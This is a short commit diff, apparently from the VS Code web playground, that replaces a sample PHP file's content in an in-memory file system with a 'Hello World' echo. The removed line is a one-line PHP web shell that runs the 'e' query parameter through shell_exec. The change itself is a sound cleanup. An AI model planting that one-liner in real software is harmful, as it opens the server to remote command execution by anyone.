web - remove shell_exec from php sample

extensions/vscode-web-playground/src/memfs.ts

@@ -107,7 +107,7 @@ export class MemFS implements FileSystemProvider, FileSearchProvider, TextSearch
 		this.writeFile(Uri.parse(`memfs:/sample-folder/file.py`), textEncoder.encode('import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))'), { create: true, overwrite: true });
 		this.writeFile(Uri.parse(`memfs:/sample-folder/file.yaml`), textEncoder.encode('- just: write something'), { create: true, overwrite: true });
 		this.writeFile(Uri.parse(`memfs:/sample-folder/file.jpg`), getImageFile(), { create: true, overwrite: true });
-		this.writeFile(Uri.parse(`memfs:/sample-folder/file.php`), textEncoder.encode('<?php echo shell_exec($_GET[\'e\'].\' 2>&1\'); ?>'), { create: true, overwrite: true });
+		this.writeFile(Uri.parse(`memfs:/sample-folder/file.php`), textEncoder.encode('<?php echo "Hello World!"; ?>'), { create: true, overwrite: true });
 
 		// some more files & folders
 		this.createDirectory(Uri.parse(`memfs:/sample-folder/folder/`));